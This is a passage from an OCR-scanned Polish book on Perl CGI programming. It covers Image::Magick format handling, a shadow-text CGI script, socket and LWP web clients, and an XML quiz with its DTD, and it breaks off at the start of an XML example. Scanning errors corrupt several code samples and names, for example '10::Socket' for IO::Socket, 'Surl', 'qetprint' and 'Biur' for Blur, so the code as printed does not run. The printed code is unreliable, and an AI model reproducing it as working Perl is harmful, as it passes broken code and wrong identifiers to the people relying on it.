również w formacie GIF - po odpowiedniej zmianie nagłówka i poprawieniu polecenia Write w następujący sposób: $stan = $magick->Write( "gif:-" ); Image::Magick zwraca stan przy każdym wywołaniu metody. Dlatego, gdy wystąpi błąd, określana jest zmienna $stan, a błąd rejestrujemy w dzienniku, używając funkcji warn. Rezygnacja z formatu PNG ma swoją cenę. Należy pamiętać, że pliki GIF generowane przez Image::Magick bez kompresji LZW są znacznie większe niż typowe GIF-y, a w plikach JPEG wyraziste elementy, takie jak cienkie linie i tekst na wykresie, mogą nie zostać tak wiernie zachowane, jak w plikach PNG. Obsługa formatów PDF i PostScript Na liście formatów obsługiwanych przez Image::Magick między innymi znajdują się PDF i PostScript. Jeśli zainstalowany jest GhostScript, to za pomocą Image: :Ma-gick można odczytywać i zapisywać pliki w tych formatach oraz sięgać do poszczególnych stron. Poniższy kod scala dwa pliki PDF: my $magick = new Image::Magick( format => "pdf" ); $stan = $magick->Read( "okladka.pdf", "biuletyn.pdf" ); warn "Odczyt nie powiódł się: $stan" if $stan; $stan = $magick->Write( "pdf:scalony.pdf" ); warn "Zapis nie powiódł się: $stan" if $stan; Należy jednak mieć na uwadze, że Image::Magick jest narzędziem do obróbki obrazów rastrowych. Posługując się GhostScriptem, można odczytać plik PDF lub PostScript, ale Image: :Magick podda go rasteryzacji, przekształcając tekst i elementy wektorowe w obrazy rastrowe. Podobnie się dzieje przy zapisywaniu danych w tych formatach - każda strona zapisywana jest jako obraz, którego otoczką jest format PDF lub PostScript. Dlatego, jeśli za pomocą Image: :Magick spróbujemy otworzyć duży plik PDF lub PostScript, bardzo dużo czasu zajmie rasteryzacja każdej ze stron. Rezultatem zapisania takiego pliku będzie utrata informacji w postaci tekstowej i wektorowej. Na ekranie zmiany mogą być niedostrzegalne, lecz w druku efekt będzie o wiele gorszy. Plik wynikowy najczęściej jest znacznie większy, a tekstu nie można zaznaczać ani kopiować, ponieważ został przekształcony w obraz.
Programowanie CGI w Perlu
166
Przetwarzanie obrazów Gdy trzeba utworzyć nowy obraz, zazwyczaj powinno się korzystać z modułu GD. Jest mniejszy i efektywniejszy. Jednak Image::Magick daje możliwość stosowania efektów specjalnych, takich jak rozmycie, nie obsługiwanych przez GD. Przyjrzyjmy się przykładowi 13.6, przedstawiającemu skrypt CGI, w którym wykorzystujemy właściwości modułu Image::Magick w celu utworzenia szarfy tekstowej z cieniem, widocznej na rysunku 13.12. Przykład 13.6. shadow_text.cgi #!/usr/bin/perl -wT use strict; use CGI; use Image::Magick; use constant KATALOG_CZCIONEK => "/usr/local/httpd/fonts"; my $q = new CGI; my $czcionka = $q->param( "czcionka" ) || 'cetus'; my $rozmiar = $q->param( "rozmiar" ) || 40; my $tekst = $q->param( "tekst" ) || 'Hej!'; my $kolor = $q->param( "kolor" ) || 'black'; $czcionka =~ s/\W//g; $czcionka = 'cetus' unless -e KATALOG CZCIONEK . "/$czcionka.ttf"; my $obraz = new Image::Magick ( size => '500x100' ); $obraz->Read( 'xc:white' ) ; $obraz->Annotate ( font => "\@@{[ KATALOG_CZCIONEK ] } /$czcionka. ttf ", pen => ' gray ' , pointsize => $rozmiar, gravity => 'Center', text => $tekst ) ; $obraz->Blur ( 100 ); $obraz->Roll ( "+5+5" ); $obraz->Annotate( font => "\@@{[ KATALOG_CZCIONEK ] }/$czcionka. ttf", pen => $kolor, pointsize => $rozmiar, gravity => 'Center', text => $tekst ) ; binmode STDOUT; print $q->header( "image/jpeg" ); $obraz->Write ( "jpeg:-" ); Biblioteka FreeType, dająca możliwość zastosowania w obrazie czcionek TrueType, nie zostaje użyta w skrypcie bezpośrednio. TrueType to format plików skalowal-nych czcionek, opracowany wspólnie przez Apple i Microsoft. Obsługiwany jest jako rodzimy zarówno w systemie MacOS, jak i Windows. Dzięki temu, tworząc napisy, możemy wybierać spośród tysięcy czcionek TrueType ogólnodostępnych w In-ternecie. Brak biblioteki FreeType uniemożliwia korzystanie z czcionek TrueType przy użyciu modułu Image::Magick. Bibliotekę tę można uzyskać pod adresem http://www.freetype.org/. Zanim będziemy mogli użyć powyższej aplikacji CGI, musimy zaopatrzyć się w czcionki TrueType i umieścić je w katalogu podanym w stałej KATOLOG_CZCIONEK. Chcąc odszukać składnice czcionek, najlepiej jest się posłużyć serwisem wyszukiwawczym; do wyszukania można zadać na przykład frazę „free AND TrueType AND fonts". Aby zaspokoić ewentualną ciekawość, informujemy, że czcionka, która posłużyła do stworzenia efektu druku maszynowego, to Cetus i towarzyszy modułowi GD::Text. Przeanalizujmy teraz kod. Odczytujemy cztery pola decydujące o postaci napisu: czcionka, rozmiar, tekst i kolor. Gdy wartości któregoś z pól nie otrzymamy, odpowiedniej zmiennej nadajemy wartość domyślną. Jak widać, nie mamy tu odpowiedniego interfejsu użytkownika (tj. formularza), poprzez który użytkownik przekazałby informacje do aplikacji. Nasza aplikacja przewidziana jest do użycia łącznie ze znacznikiem <IMG>, na przykład w następujący sposób: <IMG SRC="/cgi/shadow_text.cgi?czcionka=cetus &rozmiar=40 &kolor=black &tekst=uwielbiam%20CGI"> Powyższe informacje ułożyliśmy w słupku, aby było widać, które pola przekazywane są do aplikacji. W normalnej sytuacji cały łańcuch zapytania zapisalibyśmy w jednym wierszu. Ponieważ aplikacja tworzy obraz JPEG na bieżąco, możemy jej użyć do osadzania dynamicznych szarf tekstowych w skądinąd statycznych dokumentach HTML. Opierając się na nazwie podanej czcionki, odszukujemy plik czcionki w katalogu KATALOG_CZCIONEK. Dla bezpieczeństwa, przed przekazaniem pełnej ścieżki do ImageMagick, pozbywamy się znaków niealfanumerycznych i używając operatora -e sprawdzamy, czy czcionka o danej nazwie istnieje w katalogu KATALOG_C z c l ONEK. W tym momencie jesteśmy już przygotowani do utworzenia obrazu. Najpierw tworzymy nowy egzemplarz obiektu Image::Magick, przekazując do niego rozmiar obrazu, wynoszący 500 x 100 pikseli.
Programowanie CGI w Perlu
167
Następnie za pomocą metody Read tworzymy obszar roboczy z białym tłem. Jesteśmy gotowi do narysowania na obrazie szarfy tekstowej. Gdy spojrzymy na rysunek 13.12, dostrzeżemy, że napis ma cień. Konstruując obraz, najpierw rysujemy cień, a dopiero na nim ciemny napis. Do narysowania cienia używamy metody Annotate z kilkoma argumentami. Ścieżka do pliku czcionki wymaga przedrostka @. Jednak Perl nie pozwala na stosowanie w cudzysłowie podwójnym znaków @ w sposób bezpośredni, więc musimy znak ten zamaskować ukośnikiem odwróconym („\"). Gdy cień zostanie narysowany, przychodzi czas na zastosowanie efektu rozmycia, za pomocą metody Biur. Dzięki temu na koniec uzyskamy efekt tekstu unoszącego się nad warstwą cienia. Metoda Biur wymaga podania wartości procentowej, a ponieważ zależy nam na pełnym rozmyciu, podajemy liczbę 100. Wartość większa od 100% daje niepożądany, ledwo widoczny efekt. Następnym krokiem jest niewielkie przesuniecie cienia w poziomie i w pionie. W tym celu wywołujemy metodę Roli i przekazujemy do niej wartość „+5+5", oznaczającą przemieszczenie o 5 pikseli w prawo i 5 pikseli w dół. Teraz możemy już narysować właściwy, nie rozmyty napis. W tym celu znów wywołujemy metodę Annotate, lecz tym razem zmieniamy kolor napisu (peri) na wybrany przez użytkownika. Rysunek jest gotowy i możemy go wysłać do przeglądarki. Na koniec włączamy tryb binarny (binmode), w nagłówku wysyłamy typ treści image/jpeg i wywołujemy metodę Write, aby obraz JPEG skierować do standardowego strumienia wyjściowego.
Rozdział 14 Middleware oraz XML Oprogramowując interfejs CGI można tworzyć pojedyncze aplikacje Web: od prostych książek gości po złożone programy, takie jak terminarze z możliwością konstruowania harmonogramów dużych grup. Tradycyjne programy tego typu ograniczają się do wyświetlania danych i przyjmowania informacji bezpośrednio od użytkowników. Niemniej jednak CGI, tak jak wszystkie popularne rozwiązania techniczne, ewoluuje i nie ogranicza się do tych tradycyjnych zastosowań. Tak więc w tym rozdziale koncentrujemy się na roli CGI jako efektywnego środka komunikacji z innymi programami, wykraczając poza aplikacje, których zadaniem jest interakcja z ludźmi. Wiemy już, że programy mogą funkcjonować jako bramy do rozmaitych zasobów (na przykład baz danych) i poczty elektronicznej oraz jako hosty (czyli „gospodarze") innych protokołów i programów. Niemniej jednak program CGI może się zajmować znacznie bardziej wyszukanym przetwarzaniem danych, w efekcie stając się źródłem danych. Takie działanie stanowi definicję middleware'u (oprogramowania, oprzyrządowania pośredniego). W tym kontekście aplikacja CGI lokuje się między programem, któremu dostarcza dane, a zasobami, po które sięga. Rozmaitość istniejących obecnie serwisów wyszukiwawczych stanowi dobry przykład przydatności middleware'u. We wczesnych latach sieci Web do wyboru było zaledwie kilka serwisów wyszukiwawczych. Teraz jest ich wiele. Wyniki dostarczane przez te serwisy zwykle nie są jednakowe. Znalezienie informacji na rzadko spotykany temat nie jest łatwe, gdy jesteśmy zmuszeni do wielokrotnej zmiany serwisu i ciągłego ponawiania prób. Zamiast wielokrotnych prób wolelibyśmy raczej wysłać jedno zapytanie i otrzymać jednocześnie odpowiedzi z wielu serwisów w skonsolidowanej formie z odfiltrowa-nymi powieleniami. Aby taki zamysł mógł zostać zrealizowany, serwisy wyszukiwawcze muszą się stać middleware'owymi serwisami CGI, komunikującymi się z jednym skryptem CGI, którego zadaniem będzie konsolidowanie rezultatów. Co więcej, middleware'owa warstwa CGI może posłużyć do konsolidowania baz danych znajdujących się poza Internetem. Na przykład firmowy serwis o charakterze kartoteki mógłby zostać oprogramowany tak, aby przeszukiwał kilka wewnętrznych baz danych z numerami telefonów (na przykład spisy klientów lub pracowników), a gdy zabraknie informacji w zasobach wewnętrznych, potrafił także korzystać z internetowych książek telefonicznych, takich jak http://www.fourll.com/. W dalszej części rozdziału zademonstrujemy dwa rozwiązania techniczne, ilustrujące zastosowanie middleware'u CGI. Najpierw zobaczymy, jak od strony skryptów CGI zrealizować połączenia sieciowe, służące do komunikowania się z innymi serwerami. Następnie zaprezentyjemy wprowadzenie do XML-a, czyli rozszerzalnego języka adiustacji (ang. eXtensible Markup Language), niezależnego od platformy środka transferu danych między programami. Przedstawimy przykład, w którym wykorzystamy analizator składni XML języka Perl.
Komunikowanie się z innymi serwerami Przyjrzyjmy się typowemu schematowi komunikacji między klientem a serwerem. Rozważmy aplikację do obsługi poczty elektronicznej. Większość takich aplikacji zapisuje wiadomości użytkownika w osobnym pliku, zazwyczaj w katalogu /var/spool/mafl. Gdy wysyłamy pocztę do skrzynki na innym hoście, aplikacj'a pocztowa musi odnaleźć na serwerze plik poczty adresata i dołączyć do niego daną wiadomość. Jak to się udaje programowi pocztowemu, skoro nie może operować bezpośrednio na zdalnym hoście? Odpowiedzią na to pytanie jest komunikacja międzyprocesowa (IPC, ang. interprocess communicatiori). Zwykle na zdalnym hoście przebiega proces, który działa jako doręczyciel wiadomości, świadczący usługi związane z pocztą elektroniczną. Gdy wyślemy wiadomość, lokalny proces na naszym hoście w celu doręczenia poczty komunikuje się przez sieć ze zdalnym agentem. W takiej sytuacji zdalny proces nazwiemy serwerem (ponieważ obsługuje zgłoszone żądanie), a proces lokalny - klientem. Takie samo podejście dotyczy sieci Web: przeglądarka jest klientem, zgłaszającym żądania do serwera HTTP, który interpretuje i realizuje żądanie.
Programowanie CGI w Perlu
168
Przede wszystkim należy zapamiętać, że klient i serwer muszą używać tego samego języka. Innymi słowy, określony klient przeznaczony jest do współpracy z konkretnym serwerem. Dlatego na przykład klient poczty elektronicznej, taki jak Eudora, nie może się komunikować z serwerem Web. Jeśli jednak wiemy, jakiego strumienia danych oczekuje serwer oraz jakiego typu dane generuje, to możemy napisać aplikację komunikującą się z danym serwerem, o czym przekonamy się w dalszej części rozdziału. Gniazda Większość firm ma centralki telefoniczne, działające jako bramy połączeń przychodzących i wychodzących. Gniazdo (ang. socket) można przyrównać do takiej centralki. Jeśli chcemy nawiązać połączenie ze zdalnym hostem, musimy najpierw utworzyć gniazdo, przez które będzie się odbywać komunikacja. Przypomina to wybranie „9" w celu wyjścia poprzez centralkę do zewnętrznej sieci telefonicznej. Podobnie, gdy chcemy utworzyć serwer odbierający połączenie przychodzące od hosta zdalnego (lub lokalnego), musimy ustanowić gniazdo, które będzie wyczekiwać na połączenia. W Internecie gniazdo jest identyfikowane przez adres IP hosta i port, na których ono wyczekuje. Kiedy połączenie zostaje ustanowione, tworzone jest nowe gniazdo do obsługi danego połączenia, a gniazdo pierwotne może powrócić do wyczekiwania na kolejne połączenia. Analogicznie działa centralka telefoniczna: obsługując połączenia przychodzące, zestawia linię łączącą z odpowiednim aparatem, po czym wraca do stanu oczekiwania. Gniazdo również można traktować jak przewód łączący dwa miejsca. Przez ten przewód można wysyłać i odbierać informacje. Takie ujęcie ułatwi zrozumienie zagadnień związanych z wejściem-wyjściem gniazd (ang. socket I/O). IO::Socket Moduł IO::Socket, włączony do standardowego pakietu dystrybucyjnego Perla, upraszcza oprogramowywanie gniazd. Przykład 14.1 przedstawia krótki program, który przyjmuje URL od użytkownika, zgłasza żądanie zasobu za pomocą metody GET, a następnie drukuje nagłówki i treść. Przykład 14.1. socket_get.pl #!/usr/bin/perl -wT use strict; use 10:: Socket; use URI; my $miejsce = shift || die "Składnia: $0 URL\n"; my Surl = new URI ( $miejsce ); my $host = $url->host; my $port = $url->port || 80; my $sciezka = $url->path "/"; my $gniazdo = new 10::Socket::INET ( PeerAddr => $host, PeerPort => $port, Proto => 'tcp' ) or die "Nie można połączyć się z serwerem. \n"; $gniazdo->autof lush (1) ; print $gniazdo "GET $sciezka HTTP/1.l\n", "Host: $host\n\n"; print while (<$gniazdo>) ; $gniazdo->close; Do rozłożenia na części URL-a podanego przez użytkownika używamy modułu URI, omówionego w rozdziale 2, „HTTP - protokół transferu hipertekstu". Następnie tworzymy nowy egzemplarz obiektu IO::Socket::INET i przekazujemy do niego hosta, numer portu i protokół komunikacyjny. Resztą zajmuje się moduł. Za pomocą metody autoflush wyłączamy buforowanie gniazda. Zwróćmy uwagę na dalszy kod: za uchwyt pliku może nam posłużyć również zmienna egzemplarza obiektu $gniazdo. Oznacza to, że poprzez tę zmienną możemy czytać z gniazda i do niego zapisywać. Program jest stosunkowo prosty, ale jest jeszcze łatwiejszy sposób pobierania zasobów sieci Web z poziomu Perla, a mianowicie poprzez użycie LWP. LWP LWP (skrót Hbwww-perl) jest implementacją w Perlu pakietu libwww konsorcjum W3C, dokonaną przez Gisle'a Aasa i Martijna Kostera przy współudziale wielu innych osób. LWP umożliwia tworzenie w Perlu w pełni konfigurowalnych klientów Web. Próbka możliwości LWP została przedstawiona w podrozdziale „Kwestia zaufania do przeglądarki" w rozdziale 8, „Bezpieczeństwo". Opierając się na LWP, możemy napisać wspomnianego agenta Web (przykład 14.2). Przykład 14.2. lwp_full_get.pl #!/usr/bin/perl -wT use strict; use LWP::UserAgent; use HTTP::Request; my $miejsce = shift || die "Składnia: $0 URL\n"; my $agent = new LWP::UserAgent; my $req = new HTTP::Request GET => $miejsce;
Programowanie CGI w Perlu
169
$req->header ( 'Accept ' => ' text/html ' ) ; my $rezultat = $agent->request ( $req ); print $rezultat->headers_as_string, $rezultat->content; Tworzymy tu obiekt agenta użytkownika oraz obiekt żądania HTTP. Zwracamy się do agenta użytkownika o pobranie rezultatu żądania HTTP, a następnie drukujemy nagłówki i treść odpowiedzi. Na koniec przyjrzyjmy się modułowi LWP::Simple. LWP::Simple nie zapewnia nam tak dużej elastyczności jak LWP, lecz jest o wiele łatwiejszy w użyciu. Tak więc poprzedni przykład możemy napisać na nowo w jeszcze krótszej formie (zob. przykład 14.3). Przykład 14,3. lwp_simple_get.pl #!/usr/bin/perl -wT use strict; use LWP::Simple; my $miejsce = shift || die "Składnia: $0 URL\n"; qetprint( $miejsce ); Między tym a poprzednim przykładem jest drobna różnica. Tu nie drukujemy nagłówków HTTP, lecz sam4 treść. Gdybyśmy chcieli mieć dostęp do nagłówków, powinniśmy użyć modułu LWP.
Wprowadzenie do XML-a XML jest użytecznym narzędziem, ponieważ stanowi przemysłowy standard opisu danych. Ponadto pod względem stylu XML-owy opis przypomina HTML, tak dobrze znany tysiącom projektantów. Programy CGI posługujące się językiem XML są w stanie dostarczyć dane do (i odebrać od) apletów Javy lub skryptów w Perlu odpowiednio dostosowanych do XML-a. Możliwe jest użycie CGI w funkcji middleware'u bez języka opisu danych, takiego jak XML. Świadczy o tym powodzenie, jakim się cieszą biblioteki, takie jak LWP dla Perla. Mimo to większość stron Web nadal dostarcza dane w postaci zwykłego HTML-a. Obsługa takich stron przy użyciu LWP oraz ich analiza składniowa z wykorzystaniem modułu HTML::Parser pozostawia wiele do życzenia. Aby przeglądarka Web mogła zinterpretować dane, musi zostać wygenerowany HTML, nawet wtedy gdy używany jest XML. Mimo to sam kod HTML będzie musiał ulec zmianie, gdy projektant zechce zmienić wygląd strony Web, choćby nawet zmianie nie uległy dane opisane w XML-u. Z tego powodu pisanie analizatorów składni (czyli tzw. parserów) dokumentów HTML bywa trudne, ponieważ analizator HTML-a przestaje działać, gdy tylko zmienia się struktura opisująca sposób wyświetlania danych. Patrząc od strony klienta, takie opracowania - wymagające opartych na Javie wyszukanych funkcji do wyświetlania danych - należy wyposażyć w pewien mechanizm pozwalający uzyskiwać dane. Tworząc aplety Javy komunikujące się z programami CGI, zapewnimy nieduży i łatwy w obsłudze mechanizm gromadzenia danych do prezentacji. W większości wypadków HTML wystarczająco dobrze spełnia swoją funkcję. Przeglądarki Web od wielu lat wyświetlają zawartość stron użytkownikom, sprawnie sobie radząc z adiustacyjnymi znacznikami HTML. Niemniej jednak, podczas gdy czytelnicy potrafią przyswajać informacje podane w ich własnym języku, maszyny z trudnością interpretują niejednoznaczności w informacjach zapisanych w dokumencie HTML w języku naturalnym, na przykład angielskim. W rezultacie uznano, że sieć Web wymaga języka, który adiustowałby treść w sposób łatwo czytelny dla maszyny. XML opracowano jako remedium na wspomniane ograniczenia HTML-a. Poniżej wymieniamy elementy XML-a, które czynią z niego użyteczny środek transferu danych między programami: 1. Można definiować nowe znaczniki oraz hierarchie znaczników, które będą służyć do przedstawiania danych w sposób odpowiedni dla konkretnej aplikaq'i. Na przykład w dokumencie quizu internetowego mogą się znaleźć znaczniki <QUESTION> i <ANSWER>. 2. Definicje typu dokumentu (DTD) można zdefiniować pod kątem sprawdzania poprawności danych. Można wprowadzić wymaganie, by każdemu znacznikowi <QUESTION> towarzyszył dokładnie jeden znacznik <ANSWER>. 3. Transfer danych spełnia wymagania specyfikacji Unicode, co jest istotne w wypadku znaków spoza zbioru ASCII. 4. Dane są podawane w taki sposób, który ułatwia ich transfer za pomocą protokołu HTTP. 5. Składnia jest prosta, dzięki czemu analizatory składni nie muszą być skomplikowane. Przyjrzyjmy się przykładowemu dokumentowi XML zawierającemu dane przeznaczone do internetowego quizu. Quiz, gdy chodzi o jego najbardziej zewnętrzny aspekt, musi mieć postać zestawu pytań i odpowiedzi. Sam XML wygląda następująco: <?xml version="l.0"?> <!DOCTYPE quiz SYSTEM "quiz.dtd"> <QUIZ> <QUESTION TYPE="Multiple"> <ASK> Wszyscy wymienieni zawodnicy zajęli pierwsze miejsca w zestawieniach najwartościowszych zawodników w zwykłych rozgrywkach oraz playoffach w tym samym roku z wyjątkiem: </ASK> <CHOICE VALUE='A" TEXT="Larry'ego Birda"/> <CHOICE VALUE='B" TEXT="Jerry'ego Westa"/> <CHOICE VALUE= "C" TEXT="Earvina Magica Johnsona"/> <CHOICE VALUE='D" TEXT="Hakeema 01ajuwona"/>
Programowanie CGI w Perlu
170
<CHOICE VALUE='E" TEXT="Michaela Jordana"/> <ANSWER>B</ANSWER> <RESPONSE VALUE="B"> West był niesamowity, lecz w owym czasie nie było zestawień najwartościowszych zawodników w playoffach. </RESPONSE> <RESPONSE STATUS="WRONG"> Jak można było wybrać Birda, Magica, Michaela lub Hakeema?! </RESPONSE> </QUESTION> <QUESTION TYPE="Text"> <ASK> Kto jest jedynym zawodnikiem NBA, który w połowie czasu zdobył dziesięć punktów, miał dziesięć zbiórek i dziesięć asyst? </ASK> <ANSWER>Larry Bird</ANSWER> <RESPONSE VALUE="Larry Bird"> Znakomicie! Ten człowiek był niesamowity! </RESPONSE> <RESPONSE VALUE="Magic Johnson"> Niestety. Choć Magie był niemal tak samo niesamowity jak Larry, nigdy mu się ten wyczyn nie udał. </RESPONSE> <RESPONSE STATUS="WRONG"> Zdaje się, że nie jesteś fanem drużyny Celtics. </RESPONSE> </QUESTION> </QUIZ> Jak widać, dokument XML jest w istocie bardzo prosty, a nawet bardzo podobny do HTML-a. To nie przypadek. Jednym z podstawowych założeń XML-a była jego zgodność funkcjonalna z Internetem. Drugim zasadniczym założeniem była prostota języka, aby napisanie XML-owego analizatora składni było stosunkowo nieskomplikowane. Wystarczy rzut oka na strukturę przykładowego dokumentu XML, by się zorientować, że główną (nadrzędną względem pozostałych) strukturą danych jest „quiz" ujęty w znaczniki <QUIZ>. We wszystkich dokumentach XML prezentowane dane muszą się znaleźć co najmniej w jednej strukturze głównej obejmującej cały dokument. W przedstawionej strukturze quizu są dwa pytania. W ramach pytania podane są: właściwe pytanie, poprawna odpowiedź na pytanie oraz garść możliwych reakcji na różne odpowiedzi. Oczywiście takiemu dokumentowi musi towarzyszyć arkusz stylów lub analogiczny zbiór wytycznych dla przeglądarki, dzięki którym „wiedziałaby", że nie wolno jej wyświetlać odpowiedzi wraz z pytaniami. W dalszej części rozdziału zajmiemy się pisaniem programu w Perlu, który przełoży dokument XML na standardowy HTML. Znaczniki pytań rozpisane zostały na znacznik otwierający i zamykający, aby wskazać, że między nimi zawarte są złożone zestawy danych (samo zapytanie <ASK>, odpowiedź na zapytanie <ANSWER>, reakcja na odpowiedź <RESPONSE>). Z drugiej strony pozycje do wyboru oparliśmy na pojedynczych, pustych znacznikach. W XML-u taki rodzaj znacznika jest wyraźnie sygnalizowany ukośnikiem („/") na końcu jego definicji. Pod tym względem XML różni się od HTML-a. W HTML-u pojedynczy pusty znacznik nie jest szczególnie wyróżniany. Jednak twórcy XML-a uświadomili sobie, że łatwiejszy do napisania jest analizator składni, któremu już samo stwierdzenie, że znacznik kończy się parą „/>", a nie pojedynczym znakiem „>", wystarczyłoby do ustalenia, że znacznik jest pojedynczy, i nie musi szukać znacznika zamykającego, pasującego do znacznika początkowego. Strukturę powyższego dokumentu XML przyjęliśmy arbitralnie. Informacje w nim zawarte mogliśmy przedstawić również na inne sposoby. Na przykład znacznik <CHOICE> mógłby być znacznikiem otwierającym, a nie pustym, co pozwoliłoby na zastosowanie rozbudowanej definicji. Użycie znacznika otwierającego umożliwiłoby utworzenie cyklicznej listy pozycji do wyboru, aby pozycje nie były stale jednakowe. Ujawnia się tu istotna cecha XML-a: można go przystosować do dowolnej struktury danych.
Definicja typu dokumentu Definiq'a typu dokumentu (DTD, ang. document type definition) informuje o strukturach w dokumencie XML oraz o wzajemnych relacjach znaczników. W drugim wierszu przykładowego XML-a podana została definicja typu dokumentu, na którą wskazuje znacznik <!DOCTYPE>. Znacznik ten odsyła do pliku zawierającego DTD danej struktury XML. Na ogół używany jest wtedy, gdy analizator składni XML ma sprawdzić poprawność XML-a względem ściślejszej definicji. Analiza składniowa wyżej przedstawionego dokumentu XML byłaby łatwa nawet bez DTD. Niemniej DTD może dostarczyć analizatorowi XML wskazówek co do dalszej kontroli poprawności dokumentu. Oto przykładowy plik DTD, quiz.dtd: <xml version-"l.0"> <!ELEMENT QUIZ (QUESTION*)> <!ELEMENT QUESTION (ASK+,CHOICE*,ANSWER+, RESPONSE+)> <!ATTLIST QUESTION TYPE CDATA #REQUIRED> <!ELEMENT ASK (#PCDATA)> <!ELEMENT CHOICE EMPTY> <!ATTLIST CHOICE VALUE CDATA #REQUIRED TEXT CDATA #REQUIRED> <!ELEMENT ANSWER (#PCDATA)> <!ELEMENT RESPONSE (#PCDATA)> <!ATTLIST RESPONSE
Programowanie CGI w Perlu
171
VALUE CDATA STATUS CDATA> Znaczniki <!ELEMENT> opisują właściwe znaczniki dokumentu XML. W tym wypadku znaczników <QUIZ>, <QUESTION>, <ASK>, <CHOICE>, <ANSWER> i <RESPONSE> można użyć w dokumentach XML zgodnych z definicją w pliku quiz.dtd. Nawiasy po nazwie elementu pokazują, co znacznik może zawierać. Symbol * (gwiazdka) jest identyfikatorem ilościowym. Takie identyfikatory podlegają tym samym elementarnym regułom co wyrażenia regularne. Symbol * wskazuje, że zawartością może być dowolna liczba elementów (także wcale). Gdybyśmy chcieli wskazać na dopuszczalny brak elementów lub co najwyżej jeden, zamiast * wstawilibyśmy ? (pytajnik). Gdybyśmy natomiast chcieli wskazać, że w znaczniku musi być zawarty co najmniej jeden element, wtedy użylibyśmy + (plus). # PCDAT A wskazuje, że element zawiera dane tekstowe. W powyższym przykładzie w ramach znacznika <QUIZ> może się znaleźć dowolna liczba elementów QUESTION, podczas gdy w ramach znacznika <QUESTION> powinno się znaleźć nie mniej niż jedno zapytanie (ASK), odpowiedź (ANSWER) i reakcja (RESPONSE). W pytaniu można ująć dowolną liczbę propozycji odpowiedzi do wyboru (CHOICE). Co więcej, w definicji elementu CHOICE w DTD użyto słowa kluczowego EMPTY, wskazującego, że jest to znacznik pojedynczy i że występuje samodzielnie - nie towarzyszy mu znacznik dopełniający. Element ASK zawiera wyłącznie dane tekstowe. Po każdej definicji elementu muszą zostać podane atrybuty. Pytania (QUESTION) mają atrybut określający typ (TYPE), któremu można przypisać łańcuch znakowy. Ponadto słowo kluczowe #REQU I RED wskazuje, że te dane muszą się w dokumencie XML znaleźć. Pozostałe definicje atrybutów w pliku quiz.dld podane są według podobnego schematu. Plik DTD nie jest obowiązkowy. Analizę składniową dokumentu XML można przeprowadzać bez definicji typu dokumentu. Jednak DTD dostarcza analizatorowi składni XML zestaw reguł, na których powinna zostać oparta kontrola poprawności dokumentu. Dzięki centralnemu przechowywaniu tych reguł format dokumentu XML może się zmienić, nie pociągając za sobą konieczności dostosowania kodu analizatora. Analizatory, które nie korzystają z DTD, siłą rzeczy nie kontrolują poprawności XML-a (po angielsku określane są mianem nonvalidating); takim właśnie analizatorem XML jest standardowy moduł Perla XML::Parser. Można przypuszczać, że autor quizu będzie się posługiwał edytorem sprawdzającym XML pod kątem zgodności z DTD lub podda dokument sprawdzeniu za pomocą innego stosownego programu. Tak więc program przez nas utworzony nigdy nie powinien natrafić na pytanie, które nie ma odpowiedzi, lub na inne naruszenie definicji DTD. W programie, który dysponuje, dzięki DTD, informacjami o strukturze dokumentu XML, można z góry przyjąć sposób wyświetlania danych. Na przykład, przeglądarkę można by oprogramować tak, że kiedy natrafi na dokument quizu, wyświetli zawarte w nim pytania w formie listy, choćby w dokumencie obecne było tylko jedno pytanie. Ponieważ DTD informuje, że w pliku może się znaleźć wiele pytań, przeglądarka może ustalić kontekst, w którym mają być wyświetlane dane zawarte w dokumencie XML. Możliwość oddzielenia reguł poprawności od analizatora składni jest szczególnie ważna w wypadku sieci Web. Można się spodziewać, że wiele osób będzie pisać kod pobierający informacje z XML-owego źródła danych, więc jakikolwiek mechanizm zapobiegający sytuacjom, w których analizator przestaje działać, gdy zmienia się XML-owa definicja, zwiększy niezawodność sieci.
Jak napisać analizator składni XML-a Przykładowy analizator składni XML-a opiera się na bibliotece XML::Parser dostępnej w sieci CPAN. XML::Parser jest interfejsem do biblioteki expat, napisanej przez Jamesa Clarka w języku C. Pierwszą, prototypową bibliotekę XML::Parser w Perlu napisał Lany Wall. Dalej rozwijał ją i pielęgnował Clark Cooper. W tym podrozdziale napiszemy prostą aplikację middleware opartą na XML-u. Najnowsze wersje Netscape'a wyposażone są w funkcję o nazwie „Whaf s Related", Kiedy użytkownik kliknie przycisk Whaf s Related, przeglądarka wyszuka w serwisie URL-e pokrewne bieżącemu URL-owi. Większość użytkowników nie wie, że serwis, którym się posługuje netscape'owa przeglądarka, oparty jest na XML-u, Początki datują się od czasu, gdy Dave Winer napisał artykuł, załączając do niego kod Frontier, który umożliwiał dostęp do serwisu wyszukiwawczego Whaf s Related pod adresem http://nirvana.userland.com/whatsRelated/. Serwer, którym opiekuje się Netscape, pobiera URL-e i w formacie XML zwraca informacje o powiązanych z nimi URL-ach. Netscape mądrze wybrał XML, ponieważ nie chciał, aby użytkownicy komunikowali się z serwerem bezpośrednio za pomocą formularzy HTML. W zamian udostępnił użytkownikom pozycję menu, po której wybraniu przeglądarka Netscape'a przeprowadza analizę składniową XML-a. Innymi słowy, serwer Web „Whaf s Related" Netscape'a funkcjonuje jako warstwa pośrednia między bazą danych serwisu wyszukiwawczego a samą przeglądarką Netscape'a. Do aplikacji Netscape'a napiszemy fasadę (ang. frontend) CGI, która obsługując przytoczony XML zademonstruje, jak działa analizator składni XML. Co więcej, pójdziemy o krok dalej: przy każdym zwróconym URL-u automatycznie powtórzymy zapytanie „What's Related". Zanim przejdziemy do kodu w Perlu, musimy przyjrzeć się typowemu XML-owi zwracanemu przez serwer Netscape'a. Wyszukiwanie „Whafs Related" przeprowadziliśmy względem http://ioww.eff.org/, czyli adresu, pod którym mieści się serwis organizacji Electronic Frontier Foundation. Oto XML, który został nam zwrócony: <RDF:RDF> <RelatedLinks>
Programowanie CGI w Perlu
172
